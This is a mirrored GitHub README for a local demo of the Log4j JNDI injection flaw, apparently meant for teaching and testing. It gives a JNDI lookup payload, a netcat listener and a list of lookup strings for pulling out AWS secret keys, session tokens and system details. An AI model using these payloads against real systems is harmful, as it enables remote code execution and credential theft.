GithubHelp home page GithubHelp logo

log4j-vuln-demo's Introduction

log4j-vuln-demo

Log4j vulnerability demo https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046

image

CVE: CVE-2021-4428 | CVE-2021-45046

  • demo apache log4j2 vuln execute RCE via logs
  • ${jndi:ldap://127.0.0.1:3000}
  • postman collection for testing

Local Startup

  • Open 2 terminal shell

  • Shell 1: Vulnerable Application [Green]

  ./gradlew bootRun
  • Shell 2: listen on mac port 3000 [RED]
   nc -l 3000
  • After running postman script attack, you will see something on RED terminal shell
0
 `?
  • This confirms, now attacker has access to app and can inject/run RCE to get any data
  • These are common vector attack ,which can be easily retrieved and send to servers.
${env:PATH}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_ACCESS_KEY_ID}
${sys:user.name}
${sys:java.version}
${sys:os.version}
${env:USER}
${java:os}
${date:MM-dd-yyyy}
${date:dd:MM:yyyy}

Run postman collection local

  • log4j-vuln-jndi -> it will fire jndi lookup, try to fetch data from internal resource input

vuln example logs

2021-12-16 12:03:09,184 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1:3000]. javax.naming.CommunicationException: 127.0.0.1:3000 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
	at com.sun.jndi.ldap.Connection.<init>(Connection.java:245)
	at com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
	at com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1615)
	at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2847)
	at com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:348)
	at com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
	at com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:202)
	at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)

log4j-vuln-demo's People

Contributors

dhanugupta avatar

Stargazers

A avatar

Watchers

 avatar James Cloos avatar

Forkers

cn-you

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.